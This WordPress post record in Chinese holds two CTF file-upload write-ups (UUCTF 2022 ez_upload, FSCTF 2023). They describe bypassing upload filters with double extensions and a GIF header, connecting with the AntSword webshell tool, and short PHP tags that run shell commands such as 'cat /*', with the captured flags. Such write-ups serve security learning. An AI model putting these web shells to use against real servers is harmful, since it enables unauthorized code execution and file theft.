{"id":339,"date":"2026-06-16T21:54:38","date_gmt":"2026-06-16T13:54:38","guid":{"rendered":"https:\/\/blog.lmoon.cn\/?p=339"},"modified":"2026-06-18T21:12:37","modified_gmt":"2026-06-18T13:12:37","slug":"%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0%e7%bb%83%e4%b9%a02","status":"publish","type":"post","link":"https:\/\/blog.lmoon.cn\/index.php\/2026\/06\/16\/%e6%96%87%e4%bb%b6%e4%b8%8a%e4%bc%a0%e7%bb%83%e4%b9%a02\/","title":{"rendered":"\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e602"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e60<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">[UUCTF 2022 \u65b0\u751f\u8d5b]ez_upload<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6d4b\u8bd5\u53d1\u73b0\u6ca1\u6709\u5bf9\u53cc\u540e\u7f00\u8fc7\u6ee4\uff0c\u5982\u4f55\u5c06\u6587\u4ef6\u6539\u4e3aphp.php.php<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.lmoon.cn\/wp-doc-assets\/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%BB%83%E4%B9%A02\/image-20260615175236180.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.lmoon.cn\/wp-doc-assets\/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%BB%83%E4%B9%A02\/image-20260615175236180.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260615175236180\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540e\u5229\u7528\u8682\u5251\u8fde\u63a5\u6210\u529f\uff0c\u53d1\u73b0flag\u5728\u6839\u76ee\u5f55<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.lmoon.cn\/wp-doc-assets\/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%BB%83%E4%B9%A02\/image-20260616215404387.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.lmoon.cn\/wp-doc-assets\/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%BB%83%E4%B9%A02\/image-20260616215404387.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260615175341633\"\/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"wp-doc-code\">NSSCTF{This_is_start_web_D0g}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">[FSCTF 2023]\u662f\u5144\u5f1f\uff0c\u5c31\u6765\u4f20\u4f60\u306e\ud83d\udc0e\uff01<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u4e2a\u9898\u76ee\u8fc7\u6ee4\u6389\u4e86php\uff0c\u4ee5\u53ca\u9700\u8981\u68c0\u67e5\u6587\u4ef6\u91cc\u9762\u7684\u5185\u5bb9\uff0c\u8d77\u521d\u5c1d\u8bd5  \uff0c\u7136\u540e\u53d1\u73b0\u56de\u663e\u663e\u793a\u592a\u957f\u4e86\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6700\u540e\u7f51\u4e0a\u641c\u7d22\u53d1\u73b0\u9700\u8981\u5229\u7528gif\u6765\u8fdb\u884c\u6587\u4ef6\u6821\u9a8c\uff0c\u7136\u540e\u5229\u7528\u6700\u77ed\u7684\u6267\u884c\u547d\u4ee4\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"wp-doc-code\">&lt;?=`ls \/`;\n&lt;?=`nl \/*`;\n&lt;?=`cat \/*;`<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.lmoon.cn\/wp-doc-assets\/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%BB%83%E4%B9%A02\/image-20260615211014547.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.lmoon.cn\/wp-doc-assets\/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%BB%83%E4%B9%A02\/image-20260615211014547.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260615211014547\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7136\u540e\u8bbf\u95ee\u5bf9\u5e94\u7684\u76ee\u5f55\u5f97\u5230flag<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/blog.lmoon.cn\/wp-doc-assets\/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%BB%83%E4%B9%A02\/image-20260616215404982.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/blog.lmoon.cn\/wp-doc-assets\/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%BB%83%E4%B9%A02\/image-20260616215404982.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260615211132381\"\/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"wp-doc-code\">NSSCTF{a887e009-0d03-4c83-9a95-045799c44ddb}<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u6587\u4ef6\u4e0a\u4f20\u7ec3\u4e60 [UUCTF 2022 \u65b0\u751f\u8d5b]ez_upload \u6d4b\u8bd5\u53d1\u73b0\u6ca1\u6709\u5bf9\u53cc\u540e\u7f00\u8fc7\u6ee4\uff0c\u5982\u4f55\u5c06\u6587\u4ef6\u6539\u4e3aph [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":391,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-339","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn"],"_links":{"self":[{"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/posts\/339","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/comments?post=339"}],"version-history":[{"count":2,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/posts\/339\/revisions"}],"predecessor-version":[{"id":341,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/posts\/339\/revisions\/341"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/media\/391"}],"wp:attachment":[{"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/media?parent=339"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/categories?post=339"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/tags?post=339"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}